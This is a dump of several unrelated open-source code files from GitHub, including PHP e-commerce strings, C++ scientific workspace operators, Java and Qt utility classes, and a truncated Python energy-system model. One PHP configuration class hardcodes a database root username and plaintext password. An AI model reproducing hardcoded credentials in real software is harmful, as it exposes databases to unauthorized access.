repo_name stringlengths 4 116 | path stringlengths 4 379 | size stringlengths 1 7 | content stringlengths 3 1.05M | license stringclasses 15
values |
|---|---|---|---|---|
andreaslangsays/pureshop | view/languages/english/shopping_cart.php | 1303 | <?php
/*
$Id: shopping_cart.php,v 1.13 2002/04/05 20:24:02 project3000 Exp $
osCommerce, Open Source E-Commerce Solutions
http://www.oscommerce.com
Copyright (c) 2002 osCommerce
Released under the GNU General Public License
*/
define('NAVBAR_TITLE', 'Cart Contents');
define('HEADING_TITLE', 'What\'s In My Cart?');
define('TABLE_HEADING_REMOVE', 'Remove');
define('TABLE_HEADING_QUANTITY', 'Qty.');
define('TABLE_HEADING_MODEL', 'Model');
define('TABLE_HEADING_PRODUCTS', 'Product(s)');
define('TABLE_HEADING_TOTAL', 'Total');
define('TEXT_CART_EMPTY', 'Your Shopping Cart is empty!');
define('SUB_TITLE_SUB_TOTAL', 'Sub-Total:');
define('SUB_TITLE_TOTAL', 'Total:');
define('TEXT_ORDER_UNDER_MIN_AMOUNT', 'A minimum order amount of %s is required in order to checkout.');
define('OUT_OF_STOCK_CANT_CHECKOUT', 'Products marked with ' . STOCK_MARK_PRODUCT_OUT_OF_STOCK . ' dont exist in desired quantity in our stock.<br>Please alter the quantity of products marked with (' . STOCK_MARK_PRODUCT_OUT_OF_STOCK . '), Thank you');
define('OUT_OF_STOCK_CAN_CHECKOUT', 'Products marked with ' . STOCK_MARK_PRODUCT_OUT_OF_STOCK . ' dont exist in desired quantity in our stock.<br>You can buy them anyway and check the quantity we have in stock for immediate deliver in the checkout process.');
?> | gpl-3.0 |
TheGhostGroup/AquaFlameCMS | library/Crax/bootstrapper/configuration.class.php | 764 | <?php
class Configuration
{
private $_dbHost = "localhost";
private $_dbUser = "root";
private $_dbPass = "kabeli";
private $_dbName = array("Character" => array("characters"),"World" => "world","Realm" => "realm");
private $_relPath = "/";
//private $_modulesEnabled = FALSE;
public function getOption($name)
{
$var = "_".$name;
return $this->$var;
}
public function getDBName($db,$num = 0)
{
if($db === "Character" && count($this->_dbName[$db]) >= $num)
return $this->_dbName[$db][$num];
else
return $this->_dbName[$db];
}
public function getCountCharsDB()
{
return count($this->_dbName["Character"]);
}
}
?> | gpl-3.0 |
toothbrush/diaspec | gen/AbstractScreen.java | 235 | package fr.diaspec.webcam.generated;
public abstract class AbstractScreen implements Action<Bitmap>
{
protected abstract void doScreenAction (Bitmap value)
;
public void trigger (Bitmap value)
{
doScreenAction(value);
}
} | gpl-3.0 |
mganeva/mantid | Framework/API/src/WorkspaceOpOverloads.cpp | 21274 | // Mantid Repository : https://github.com/mantidproject/mantid
//
// Copyright © 2018 ISIS Rutherford Appleton Laboratory UKRI,
// NScD Oak Ridge National Laboratory, European Spallation Source
// & Institut Laue - Langevin
// SPDX - License - Identifier: GPL - 3.0 +
#include "MantidAPI/WorkspaceOpOverloads.h"
#include "MantidAPI/Algorithm.h"
#include "MantidAPI/AlgorithmManager.h"
#include "MantidAPI/IMDHistoWorkspace.h"
#include "MantidAPI/IMDWorkspace.h"
#include "MantidAPI/IWorkspaceProperty.h"
#include "MantidAPI/MatrixWorkspace.h"
#include "MantidAPI/WorkspaceFactory.h"
#include "MantidAPI/WorkspaceGroup.h"
#include "MantidKernel/Property.h"
#include <numeric>
namespace Mantid {
namespace API {
namespace OperatorOverloads {
/** Performs a binary operation on two workspaces
* @param algorithmName :: The name of the binary operation to perform
* @param lhs :: left hand side workspace shared pointer
* @param rhs :: right hand side workspace shared pointer
* @param lhsAsOutput :: If true, indicates that the lhs input is the same
* workspace as the output one
* @param child :: If true the algorithm is run as a child
* @param name :: If child is true and this is not an inplace operation then
* this name is used as output
* @param rethrow :: A flag indicating whether to rethrow exceptions
* @return The result in a workspace shared pointer
*/
template <typename LHSType, typename RHSType, typename ResultType>
ResultType executeBinaryOperation(const std::string &algorithmName,
const LHSType lhs, const RHSType rhs,
bool lhsAsOutput, bool child,
const std::string &name, bool rethrow) {
IAlgorithm_sptr alg =
AlgorithmManager::Instance().createUnmanaged(algorithmName);
alg->setChild(child);
alg->setRethrows(rethrow);
alg->initialize();
if (lhs->getName().empty()) {
alg->setProperty<LHSType>("LHSWorkspace", lhs);
} else {
alg->setPropertyValue("LHSWorkspace", lhs->getName());
}
if (rhs->getName().empty()) {
alg->setProperty<RHSType>("RHSWorkspace", rhs);
} else {
alg->setPropertyValue("RHSWorkspace", rhs->getName());
}
if (lhsAsOutput) {
if (!lhs->getName().empty()) {
alg->setPropertyValue("OutputWorkspace", lhs->getName());
} else {
alg->setAlwaysStoreInADS(false);
alg->setPropertyValue("OutputWorkspace", "dummy-output-name");
alg->setProperty<LHSType>("OutputWorkspace", lhs);
}
} else {
if (name.empty()) {
alg->setAlwaysStoreInADS(false);
alg->setPropertyValue("OutputWorkspace", "dummy-output-name");
} else {
alg->setPropertyValue("OutputWorkspace", name);
}
}
alg->execute();
if (!alg->isExecuted()) {
std::string message = "Error while executing operation: " + algorithmName;
throw std::runtime_error(message);
}
// Get the output workspace property
if (!alg->getAlwaysStoreInADS()) {
API::MatrixWorkspace_sptr result = alg->getProperty("OutputWorkspace");
return boost::dynamic_pointer_cast<typename ResultType::element_type>(
result);
} else {
API::Workspace_sptr result = API::AnalysisDataService::Instance().retrieve(
alg->getPropertyValue("OutputWorkspace"));
return boost::dynamic_pointer_cast<typename ResultType::element_type>(
result);
}
}
template DLLExport MatrixWorkspace_sptr executeBinaryOperation(
const std::string &, const MatrixWorkspace_sptr, const MatrixWorkspace_sptr,
bool, bool, const std::string &, bool);
template DLLExport WorkspaceGroup_sptr executeBinaryOperation(
const std::string &, const WorkspaceGroup_sptr, const WorkspaceGroup_sptr,
bool, bool, const std::string &, bool);
template DLLExport WorkspaceGroup_sptr executeBinaryOperation(
const std::string &, const WorkspaceGroup_sptr, const MatrixWorkspace_sptr,
bool, bool, const std::string &, bool);
template DLLExport WorkspaceGroup_sptr executeBinaryOperation(
const std::string &, const MatrixWorkspace_sptr, const WorkspaceGroup_sptr,
bool, bool, const std::string &, bool);
template DLLExport IMDWorkspace_sptr executeBinaryOperation(
const std::string &, const IMDWorkspace_sptr, const IMDWorkspace_sptr, bool,
bool, const std::string &, bool);
template DLLExport WorkspaceGroup_sptr executeBinaryOperation(
const std::string &, const WorkspaceGroup_sptr, const IMDWorkspace_sptr,
bool, bool, const std::string &, bool);
template DLLExport WorkspaceGroup_sptr executeBinaryOperation(
const std::string &, const IMDWorkspace_sptr, const WorkspaceGroup_sptr,
bool, bool, const std::string &, bool);
template DLLExport IMDWorkspace_sptr executeBinaryOperation(
const std::string &, const IMDWorkspace_sptr, const MatrixWorkspace_sptr,
bool, bool, const std::string &, bool);
template DLLExport IMDWorkspace_sptr executeBinaryOperation(
const std::string &, const MatrixWorkspace_sptr, const IMDWorkspace_sptr,
bool, bool, const std::string &, bool);
template DLLExport IMDHistoWorkspace_sptr executeBinaryOperation(
const std::string &, const IMDHistoWorkspace_sptr,
const IMDHistoWorkspace_sptr, bool, bool, const std::string &, bool);
template DLLExport IMDHistoWorkspace_sptr executeBinaryOperation(
const std::string &, const IMDHistoWorkspace_sptr,
const MatrixWorkspace_sptr, bool, bool, const std::string &, bool);
template DLLExport IMDHistoWorkspace_sptr executeBinaryOperation(
const std::string &, const MatrixWorkspace_sptr,
const IMDHistoWorkspace_sptr, bool, bool, const std::string &, bool);
} // namespace OperatorOverloads
/** Performs a comparison operation on two workspaces, using the
* CompareWorkspaces algorithm
*
* @param lhs :: left hand side workspace shared pointer
* @param rhs :: right hand side workspace shared pointer
* @param tolerance :: acceptable difference for floating point numbers
* @return bool, true if workspaces match
*/
bool equals(const MatrixWorkspace_sptr lhs, const MatrixWorkspace_sptr rhs,
double tolerance) {
IAlgorithm_sptr alg =
AlgorithmManager::Instance().createUnmanaged("CompareWorkspaces");
alg->setChild(true);
alg->setRethrows(false);
alg->initialize();
alg->setProperty<MatrixWorkspace_sptr>("Workspace1", lhs);
alg->setProperty<MatrixWorkspace_sptr>("Workspace2", rhs);
alg->setProperty<double>("Tolerance", tolerance);
// Rest: use default
alg->execute();
if (!alg->isExecuted()) {
std::string message = "Error while executing operation: CompareWorkspaces";
throw std::runtime_error(message);
}
return alg->getProperty("Result");
}
/** Creates a temporary single value workspace the error is set to zero
* @param rhsValue :: the value to use
* @return The value in a workspace shared pointer
*/
static MatrixWorkspace_sptr createWorkspaceSingleValue(const double &rhsValue) {
MatrixWorkspace_sptr retVal =
WorkspaceFactory::Instance().create("WorkspaceSingleValue", 1, 1, 1);
retVal->dataY(0)[0] = rhsValue;
return retVal;
}
using OperatorOverloads::executeBinaryOperation;
/** Adds two workspaces
* @param lhs :: left hand side workspace shared pointer
* @param rhs :: right hand side workspace shared pointer
* @return The result in a workspace shared pointer
*/
MatrixWorkspace_sptr operator+(const MatrixWorkspace_sptr lhs,
const MatrixWorkspace_sptr rhs) {
return executeBinaryOperation<MatrixWorkspace_sptr, MatrixWorkspace_sptr,
MatrixWorkspace_sptr>("Plus", lhs, rhs);
}
/** Adds a workspace to a single value
* @param lhs :: left hand side workspace shared pointer
* @param rhsValue :: the single value
* @return The result in a workspace shared pointer
*/
MatrixWorkspace_sptr operator+(const MatrixWorkspace_sptr lhs,
const double &rhsValue) {
return executeBinaryOperation<MatrixWorkspace_sptr, MatrixWorkspace_sptr,
MatrixWorkspace_sptr>(
"Plus", lhs, createWorkspaceSingleValue(rhsValue));
}
/** Subtracts two workspaces
* @param lhs :: left hand side workspace shared pointer
* @param rhs :: right hand side workspace shared pointer
* @return The result in a workspace shared pointer
*/
MatrixWorkspace_sptr operator-(const MatrixWorkspace_sptr lhs,
const MatrixWorkspace_sptr rhs) {
return executeBinaryOperation<MatrixWorkspace_sptr, MatrixWorkspace_sptr,
MatrixWorkspace_sptr>("Minus", lhs, rhs);
}
/** Subtracts a single value from a workspace
* @param lhs :: left hand side workspace shared pointer
* @param rhsValue :: the single value
* @return The result in a workspace shared pointer
*/
MatrixWorkspace_sptr operator-(const MatrixWorkspace_sptr lhs,
const double &rhsValue) {
return executeBinaryOperation<MatrixWorkspace_sptr, MatrixWorkspace_sptr,
MatrixWorkspace_sptr>(
"Minus", lhs, createWorkspaceSingleValue(rhsValue));
}
/** Subtracts a workspace from a single value
* @param lhsValue :: the single value
* @param rhs :: right-hand side workspace shared pointer
* @return The result in a workspace shared pointer
*/
MatrixWorkspace_sptr operator-(const double &lhsValue,
const MatrixWorkspace_sptr rhs) {
return executeBinaryOperation<MatrixWorkspace_sptr, MatrixWorkspace_sptr,
MatrixWorkspace_sptr>(
"Minus", createWorkspaceSingleValue(lhsValue), rhs);
}
/** Multiply two workspaces
* @param lhs :: left hand side workspace shared pointer
* @param rhs :: right hand side workspace shared pointer
* @return The result in a workspace shared pointer
*/
MatrixWorkspace_sptr operator*(const MatrixWorkspace_sptr lhs,
const MatrixWorkspace_sptr rhs) {
return executeBinaryOperation<MatrixWorkspace_sptr, MatrixWorkspace_sptr,
MatrixWorkspace_sptr>("Multiply", lhs, rhs);
}
/** Multiply a workspace and a single value
* @param lhs :: left hand side workspace shared pointer
* @param rhsValue :: the single value
* @return The result in a workspace shared pointer
*/
MatrixWorkspace_sptr operator*(const MatrixWorkspace_sptr lhs,
const double &rhsValue) {
return executeBinaryOperation<MatrixWorkspace_sptr, MatrixWorkspace_sptr,
MatrixWorkspace_sptr>(
"Multiply", lhs, createWorkspaceSingleValue(rhsValue));
}
/** Multiply a workspace and a single value. Allows you to write, e.g.,
* 2*workspace.
* @param lhsValue :: the single value
* @param rhs :: workspace shared pointer
* @return The result in a workspace shared pointer
*/
MatrixWorkspace_sptr operator*(const double &lhsValue,
const MatrixWorkspace_sptr rhs) {
return executeBinaryOperation<MatrixWorkspace_sptr, MatrixWorkspace_sptr,
MatrixWorkspace_sptr>(
"Multiply", createWorkspaceSingleValue(lhsValue), rhs);
}
/** Divide two workspaces
* @param lhs :: left hand side workspace shared pointer
* @param rhs :: right hand side workspace shared pointer
* @return The result in a workspace shared pointer
*/
MatrixWorkspace_sptr operator/(const MatrixWorkspace_sptr lhs,
const MatrixWorkspace_sptr rhs) {
return executeBinaryOperation<MatrixWorkspace_sptr, MatrixWorkspace_sptr,
MatrixWorkspace_sptr>("Divide", lhs, rhs);
}
/** Divide a workspace by a single value
* @param lhs :: left hand side workspace shared pointer
* @param rhsValue :: the single value
* @return The result in a workspace shared pointer
*/
MatrixWorkspace_sptr operator/(const MatrixWorkspace_sptr lhs,
const double &rhsValue) {
return executeBinaryOperation<MatrixWorkspace_sptr, MatrixWorkspace_sptr,
MatrixWorkspace_sptr>(
"Divide", lhs, createWorkspaceSingleValue(rhsValue));
}
/** Divide a single value and a workspace. Allows you to write, e.g.,
* 2/workspace.
* @param lhsValue :: the single value
* @param rhs :: workspace shared pointer
* @return The result in a workspace shared pointer
*/
MatrixWorkspace_sptr operator/(const double &lhsValue,
const MatrixWorkspace_sptr rhs) {
return executeBinaryOperation<MatrixWorkspace_sptr, MatrixWorkspace_sptr,
MatrixWorkspace_sptr>(
"Divide", createWorkspaceSingleValue(lhsValue), rhs);
}
/** Adds two workspaces
* @param lhs :: left hand side workspace shared pointer
* @param rhs :: right hand side workspace shared pointer
* @return The result in a workspace shared pointer
*/
MatrixWorkspace_sptr operator+=(const MatrixWorkspace_sptr lhs,
const MatrixWorkspace_sptr rhs) {
return executeBinaryOperation<MatrixWorkspace_sptr, MatrixWorkspace_sptr,
MatrixWorkspace_sptr>("Plus", lhs, rhs, true);
}
/** Adds a single value to a workspace
* @param lhs :: workspace shared pointer
* @param rhsValue :: the single value
* @return The result in a workspace shared pointer
*/
MatrixWorkspace_sptr operator+=(const MatrixWorkspace_sptr lhs,
const double &rhsValue) {
return executeBinaryOperation<MatrixWorkspace_sptr, MatrixWorkspace_sptr,
MatrixWorkspace_sptr>(
"Plus", lhs, createWorkspaceSingleValue(rhsValue), true);
}
/** Subtracts two workspaces
* @param lhs :: left hand side workspace shared pointer
* @param rhs :: right hand side workspace shared pointer
* @return The result in a workspace shared pointer
*/
MatrixWorkspace_sptr operator-=(const MatrixWorkspace_sptr lhs,
const MatrixWorkspace_sptr rhs) {
return executeBinaryOperation<MatrixWorkspace_sptr, MatrixWorkspace_sptr,
MatrixWorkspace_sptr>("Minus", lhs, rhs, true);
}
/** Subtracts a single value from a workspace
* @param lhs :: workspace shared pointer
* @param rhsValue :: the single value
* @return The result in a workspace shared pointer
*/
MatrixWorkspace_sptr operator-=(const MatrixWorkspace_sptr lhs,
const double &rhsValue) {
return executeBinaryOperation<MatrixWorkspace_sptr, MatrixWorkspace_sptr,
MatrixWorkspace_sptr>(
"Minus", lhs, createWorkspaceSingleValue(rhsValue), true);
}
/** Multiply two workspaces
* @param lhs :: left hand side workspace shared pointer
* @param rhs :: right hand side workspace shared pointer
* @return The result in a workspace shared pointer
*/
MatrixWorkspace_sptr operator*=(const MatrixWorkspace_sptr lhs,
const MatrixWorkspace_sptr rhs) {
return executeBinaryOperation<MatrixWorkspace_sptr, MatrixWorkspace_sptr,
MatrixWorkspace_sptr>("Multiply", lhs, rhs,
true);
}
/** Multiplies a workspace by a single value
* @param lhs :: workspace shared pointer
* @param rhsValue :: the single value
* @return The result in a workspace shared pointer
*/
MatrixWorkspace_sptr operator*=(const MatrixWorkspace_sptr lhs,
const double &rhsValue) {
return executeBinaryOperation<MatrixWorkspace_sptr, MatrixWorkspace_sptr,
MatrixWorkspace_sptr>(
"Multiply", lhs, createWorkspaceSingleValue(rhsValue), true);
}
/** Divide two workspaces
* @param lhs :: left hand side workspace shared pointer
* @param rhs :: right hand side workspace shared pointer
* @return The result in a workspace shared pointer
*/
MatrixWorkspace_sptr operator/=(const MatrixWorkspace_sptr lhs,
const MatrixWorkspace_sptr rhs) {
return executeBinaryOperation<MatrixWorkspace_sptr, MatrixWorkspace_sptr,
MatrixWorkspace_sptr>("Divide", lhs, rhs, true);
}
/** Divides a workspace by a single value
* @param lhs :: workspace shared pointer
* @param rhsValue :: the single value
* @return The result in a workspace shared pointer
*/
MatrixWorkspace_sptr operator/=(const MatrixWorkspace_sptr lhs,
const double &rhsValue) {
return executeBinaryOperation<MatrixWorkspace_sptr, MatrixWorkspace_sptr,
MatrixWorkspace_sptr>(
"Divide", lhs, createWorkspaceSingleValue(rhsValue), true);
}
//----------------------------------------------------------------------
// Now the WorkspaceHelpers methods
//----------------------------------------------------------------------
/** Checks whether the bins (X values) of two workspace are the same
* @param ws1 :: The first workspace
* @param ws2 :: The second workspace
* @param firstOnly :: If true, only the first spectrum is checked. If false
* (the default), all spectra
* are checked and the two workspaces must have the same
* number of spectra
* @return True if the test passes
*/
bool WorkspaceHelpers::matchingBins(const MatrixWorkspace &ws1,
const MatrixWorkspace &ws2,
const bool firstOnly) {
// First of all, the first vector must be the same size
if (ws1.x(0).size() != ws2.x(0).size())
return false;
// Now check the first spectrum
const double firstWS = std::accumulate(ws1.x(0).begin(), ws1.x(0).end(), 0.);
const double secondWS = std::accumulate(ws2.x(0).begin(), ws2.x(0).end(), 0.);
if (std::abs(firstWS) < 1.0E-7 && std::abs(secondWS) < 1.0E-7) {
for (size_t i = 0; i < ws1.x(0).size(); i++) {
if (std::abs(ws1.x(0)[i] - ws2.x(0)[i]) > 1.0E-7)
return false;
}
} else if (std::abs(firstWS - secondWS) /
std::max<double>(std::abs(firstWS), std::abs(secondWS)) >
1.0E-7)
return false;
// If we were only asked to check the first spectrum, return now
if (firstOnly)
return true;
// Check that total size of workspace is the same
if (ws1.size() != ws2.size())
return false;
// If that passes then check whether all the X vectors are shared
if (sharedXData(ws1) && sharedXData(ws2))
return true;
// If that didn't pass then explicitly check 1 in 10 of the vectors (min 10,
// max 100)
const size_t numHist = ws1.getNumberHistograms();
size_t numberToCheck = numHist / 10;
if (numberToCheck < 10)
numberToCheck = 10;
if (numberToCheck > 100)
numberToCheck = 100;
size_t step = numHist / numberToCheck;
if (!step)
step = 1;
for (size_t i = step; i < numHist; i += step) {
const double firstWSLoop =
std::accumulate(ws1.x(i).begin(), ws1.x(i).end(), 0.);
const double secondWSLoop =
std::accumulate(ws2.x(i).begin(), ws2.x(i).end(), 0.);
if (std::abs(firstWSLoop) < 1.0E-7 && std::abs(secondWSLoop) < 1.0E-7) {
for (size_t j = 0; j < ws1.x(i).size(); j++) {
if (std::abs(ws1.x(i)[j] - ws2.x(i)[j]) > 1.0E-7)
return false;
}
} else if (std::abs(firstWSLoop - secondWSLoop) /
std::max<double>(std::abs(firstWSLoop),
std::abs(secondWSLoop)) >
1.0E-7)
return false;
}
return true;
}
/// Checks whether all the X vectors in a workspace are the same one underneath
bool WorkspaceHelpers::sharedXData(const MatrixWorkspace &WS) {
const double &first = WS.x(0)[0];
const size_t numHist = WS.getNumberHistograms();
for (size_t i = 1; i < numHist; ++i) {
if (&first != &(WS.x(i)[0]))
return false;
}
return true;
}
/** Divides the data in a workspace by the bin width to make it a distribution.
* Can also reverse this operation (i.e. multiply by the bin width).
* Sets the isDistribution() flag accordingly.
* @param workspace :: The workspace on which to carry out the operation
* @param forwards :: If true (the default) divides by bin width, if false
* multiplies
*/
void WorkspaceHelpers::makeDistribution(MatrixWorkspace_sptr workspace,
const bool forwards) {
// If we're not able to get a writable reference to Y, then this is an event
// workspace, which we can't operate on.
if (workspace->id() == "EventWorkspace")
throw std::runtime_error("Event workspaces cannot be directly converted "
"into distributions.");
const size_t numberOfSpectra = workspace->getNumberHistograms();
if (workspace->histogram(0).xMode() ==
HistogramData::Histogram::XMode::Points) {
throw std::runtime_error(
"Workspace is using point data for x (should be bin edges).");
}
for (size_t i = 0; i < numberOfSpectra; ++i) {
if (forwards) {
workspace->convertToFrequencies(i);
} else {
workspace->convertToCounts(i);
}
}
}
} // namespace API
} // namespace Mantid
| gpl-3.0 |
emraxxor/infovip | infovip-common/src/main/java/com/github/infovip/core/mail/DefaultMailConverter.java | 1403 | package com.github.infovip.core.mail;
import java.io.IOException;
import java.io.InputStream;
import java.nio.charset.Charset;
import java.util.Date;
import org.apache.commons.io.IOUtils;
import com.github.infovip.core.data.DefaultUser;
import com.github.infovip.core.date.DefaultDateFormatter;
import com.github.infovip.core.date.DefaultDateFormatter.DATE_FORMAT;
import com.github.infovip.util.ResourceLoader;
public class DefaultMailConverter {
public static String convert(DefaultUser<?> nuser, String message) {
message = message.replaceAll("\\{useremail\\}", nuser.getUserMail() );
message = message.replaceAll("\\{userfirstname\\}", nuser.getFirstName() );
message = message.replaceAll("\\{userlastname\\}", nuser.getLastName() );
message = message.replaceAll("\\{datetime\\}", DefaultDateFormatter.format(new Date(), DATE_FORMAT.STRICT_DATE_TIME) );
message = message.replaceAll("\\{city\\}", nuser.getCity() );
message = message.replaceAll("\\{country\\}", nuser.getCountry() );
message = message.replaceAll("\\{county\\}", nuser.getCounty() );
return message;
}
public static String RegistrationTemplate(DefaultUser<?> nu) {
InputStream is = null;
try {
is = ResourceLoader.load("mail/registration.txt");
return convert( nu, IOUtils.toString(is,Charset.forName("UTF-8") ) );
} catch (IOException e) {
e.printStackTrace();
}
return null;
}
}
| gpl-3.0 |
mltframework/shotcut | src/autosavefile.cpp | 2608 | /*
* Copyright (c) 2011-2016 Meltytech, LLC
* Author: Dan Dennedy <dan@dennedy.org>
* Loosely based on ideas from KAutoSaveFile by Jacob R Rideout <kde@jacobrideout.net>
* and Kdenlive by Jean-Baptiste Mardelle.
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include "autosavefile.h"
#include "settings.h"
#include <QtCore/QDir>
#include <QtCore/QCryptographicHash>
static const QLatin1String subdir("/autosave");
static const QLatin1String extension(".mlt");
static QString hashName(const QString &name)
{
return QString::fromLatin1(QCryptographicHash::hash(name.toUtf8(), QCryptographicHash::Md5).toHex());
}
AutoSaveFile::AutoSaveFile(const QString &filename, QObject *parent)
: QFile(parent)
, m_managedFileNameChanged(false)
{
changeManagedFile(filename);
}
AutoSaveFile::~AutoSaveFile()
{
if (!fileName().isEmpty())
remove();
}
void AutoSaveFile::changeManagedFile(const QString &filename)
{
if (!fileName().isEmpty())
remove();
m_managedFile = filename;
m_managedFileNameChanged = true;
}
bool AutoSaveFile::open(OpenMode openmode)
{
QString tempFile;
if (m_managedFileNameChanged) {
QString staleFilesDir = path();
if (!QDir().mkpath(staleFilesDir)) {
return false;
}
tempFile = staleFilesDir + QChar::fromLatin1('/') + hashName(m_managedFile) + extension;
} else {
tempFile = fileName();
}
m_managedFileNameChanged = false;
setFileName(tempFile);
return QFile::open(openmode);
}
AutoSaveFile* AutoSaveFile::getFile(const QString &filename)
{
AutoSaveFile* result = 0;
QDir appDir(path());
QFileInfo info(appDir.absolutePath(), hashName(filename) + extension);
if (info.exists()) {
result = new AutoSaveFile(filename);
result->setFileName(info.filePath());
result->m_managedFileNameChanged = false;
}
return result;
}
QString AutoSaveFile::path()
{
return Settings.appDataLocation() + subdir;
}
| gpl-3.0 |
andune/HomeSpawnPlus | core/src/main/java/com/andune/minecraft/hsp/commands/SetGroupSpawn.java | 2557 | /**
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*
* Copyright (c) 2015 Andune (andune.alleria@gmail.com)
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer
* in the documentation and/or other materials provided with the
* distribution.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*/
/**
*
*/
package com.andune.minecraft.hsp.commands;
import com.andune.minecraft.commonlib.server.api.Player;
import com.andune.minecraft.hsp.HSPMessages;
import com.andune.minecraft.hsp.command.BaseCommand;
import com.andune.minecraft.hsp.commands.uber.UberCommand;
import com.andune.minecraft.hsp.storage.StorageException;
import com.andune.minecraft.hsp.util.SpawnUtil;
import javax.inject.Inject;
/**
* @author andune
*/
@UberCommand(uberCommand = "spawn", subCommand = "setGroup",
aliases = {"sg"}, help = "Set a group spawn")
public class SetGroupSpawn extends BaseCommand {
@Inject
private SpawnUtil util;
@Override
public String getUsage() {
return server.getLocalizedMessage(HSPMessages.CMD_SETGROUPSPAWN_USAGE);
}
@Override
public boolean execute(Player p, String[] args) {
if (args.length < 1)
return false;
String group = args[0];
try {
util.setGroupSpawn(group, p.getLocation(), p.getName());
p.sendMessage("Group spawn for " + group + " set successfully!");
} catch (StorageException e) {
log.warn("Caught exception in command /" + getCommandName(), e);
server.sendLocalizedMessage(p, HSPMessages.GENERIC_ERROR);
}
return true;
}
}
| gpl-3.0 |
tum-ens/urbs | urbs/model.py | 32267 | import math
import pyomo.core as pyomo
from datetime import datetime
from .features import *
from .input import *
def create_model(data, dt=1, timesteps=None, objective='cost',
dual=True):
"""Create a pyomo ConcreteModel urbs object from given input data.
Args:
- data: a dict of up to 12
- dt: timestep duration in hours (default: 1)
- timesteps: optional list of timesteps, default: demand timeseries
- objective: Either "cost" or "CO2" for choice of objective function,
default: "cost"
- dual: set True to add dual variables to model output
(marginally slower), default: True
Returns:
a pyomo ConcreteModel object
"""
# Optional
if not timesteps:
timesteps = data['demand'].index.tolist()
m = pyomo_model_prep(data, timesteps) # preparing pyomo model
m.name = 'urbs'
m.created = datetime.now().strftime('%Y%m%dT%H%M')
m._data = data
# Parameters
# weight = length of year (hours) / length of simulation (hours)
# weight scales costs and emissions from length of simulation to a full
# year, making comparisons among cost types (invest is annualized, fixed
# costs are annual by default, variable costs are scaled by weight) and
# among different simulation durations meaningful.
m.weight = pyomo.Param(
initialize=float(8760) / ((len(m.timesteps) - 1) * dt),
doc='Pre-factor for variable costs and emissions for an annual result')
# dt = spacing between timesteps. Required for storage equation that
# converts between energy (storage content, e_sto_con) and power (all other
# quantities that start with "e_")
m.dt = pyomo.Param(
initialize=dt,
doc='Time step duration (in hours), default: 1')
# import objective function information
m.obj = pyomo.Param(
initialize=objective,
doc='Specification of minimized quantity, default: "cost"')
# Sets
# ====
# Syntax: m.{name} = Set({domain}, initialize={values})
# where name: set name
# domain: set domain for tuple sets, a cartesian set product
# values: set values, a list or array of element tuples
# generate ordered time step sets
m.t = pyomo.Set(
initialize=m.timesteps,
ordered=True,
doc='Set of timesteps')
# modelled (i.e. excluding init time step for storage) time steps
m.tm = pyomo.Set(
within=m.t,
initialize=m.timesteps[1:],
ordered=True,
doc='Set of modelled timesteps')
# support timeframes (e.g. 2020, 2030...)
indexlist = set()
for key in m.commodity_dict["price"]:
indexlist.add(tuple(key)[0])
m.stf = pyomo.Set(
initialize=indexlist,
doc='Set of modeled support timeframes (e.g. years)')
# site (e.g. north, middle, south...)
indexlist = set()
for key in m.commodity_dict["price"]:
indexlist.add(tuple(key)[1])
m.sit = pyomo.Set(
initialize=indexlist,
doc='Set of sites')
# commodity (e.g. solar, wind, coal...)
indexlist = set()
for key in m.commodity_dict["price"]:
indexlist.add(tuple(key)[2])
m.com = pyomo.Set(
initialize=indexlist,
doc='Set of commodities')
# commodity type (i.e. SupIm, Demand, Stock, Env)
indexlist = set()
for key in m.commodity_dict["price"]:
indexlist.add(tuple(key)[3])
m.com_type = pyomo.Set(
initialize=indexlist,
doc='Set of commodity types')
# process (e.g. Wind turbine, Gas plant, Photovoltaics...)
indexlist = set()
for key in m.process_dict["inv-cost"]:
indexlist.add(tuple(key)[2])
m.pro = pyomo.Set(
initialize=indexlist,
doc='Set of conversion processes')
# cost_type
m.cost_type = pyomo.Set(
initialize=m.cost_type_list,
doc='Set of cost types (hard-coded)')
# tuple sets
m.sit_tuples = pyomo.Set(
within=m.stf * m.sit,
initialize=tuple(m.site_dict["area"].keys()),
doc='Combinations of support timeframes and sites')
m.com_tuples = pyomo.Set(
within=m.stf * m.sit * m.com * m.com_type,
initialize=tuple(m.commodity_dict["price"].keys()),
doc='Combinations of defined commodities, e.g. (2018,Mid,Elec,Demand)')
m.pro_tuples = pyomo.Set(
within=m.stf * m.sit * m.pro,
initialize=tuple(m.process_dict["inv-cost"].keys()),
doc='Combinations of possible processes, e.g. (2018,North,Coal plant)')
m.com_stock = pyomo.Set(
within=m.com,
initialize=commodity_subset(m.com_tuples, 'Stock'),
doc='Commodities that can be purchased at some site(s)')
if m.mode['int']:
# tuples for operational status of technologies
m.operational_pro_tuples = pyomo.Set(
within=m.sit * m.pro * m.stf * m.stf,
initialize=[(sit, pro, stf, stf_later)
for (sit, pro, stf, stf_later)
in op_pro_tuples(m.pro_tuples, m)],
doc='Processes that are still operational through stf_later'
'(and the relevant years following), if built in stf'
'in stf.')
# tuples for rest lifetime of installed capacities of technologies
m.inst_pro_tuples = pyomo.Set(
within=m.sit * m.pro * m.stf,
initialize=[(sit, pro, stf)
for (sit, pro, stf)
in inst_pro_tuples(m)],
doc='Installed processes that are still operational through stf')
# commodity type subsets
m.com_supim = pyomo.Set(
within=m.com,
initialize=commodity_subset(m.com_tuples, 'SupIm'),
doc='Commodities that have intermittent (timeseries) input')
m.com_demand = pyomo.Set(
within=m.com,
